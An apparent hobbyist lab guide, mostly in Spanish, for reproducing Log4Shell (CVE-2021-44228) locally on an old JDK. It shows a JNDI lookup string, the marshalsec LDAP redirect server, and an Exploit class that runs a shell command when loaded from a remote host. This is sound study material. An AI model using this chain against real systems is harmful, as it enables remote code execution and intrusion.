
Guía de reproducción paso a paso para CVE-2021-44228 (Log4Shell) con JDK 8u20, Log4j 2.14.1 vulnerable, servidor LDAP marshalsec y compilación de payload personalizado.
Creo que esta historia es más práctica (llorando)christophetd/log4shell-vulnerable-app
Solo lo investigué por impulso y curiosidad, por lo que probablemente haya partes ambiguas o errores.
Por favor, hazlo bajo tu propia responsabilidad.
Se espera que funcione en entornos Linux.
A partir de jdk8u191, se agregó la opción com.sun.jndi.rmi.object.trustURLCodebase y su valor predeterminado es False.
En este estado no se pueden cargar clases externas, así que esta vez utilizaremos una versión anterior.
(¿¿Se pueden cargar las clases internas o hacer bypass??)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
Descarga directa de jdk8u20
Descomprímelo y colócalo en algún lugar como /opt.
Descargar log4j
Descomprímelo y extrae log4j-api-2.14.1.jar y log4j-core-2.14.1.jar (esta vez los puse en un directorio llamado log4japp).
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://your-ip:1389/resource}");
// /resource がないと動きませんでした。
}
}
mbechler/marshalsec
Redirige la consulta LDAP hacia la parte web.
mvn clean package -DskipTests
Iniciar la escucha
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"
Preparar también el destino de redirección de marshalsec
python3 -m http.server 8888
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
}
}
Compilar usando el jdk8u20 instalado
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
Compilar y ejecutar usando el jdk8u20 instalado.
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
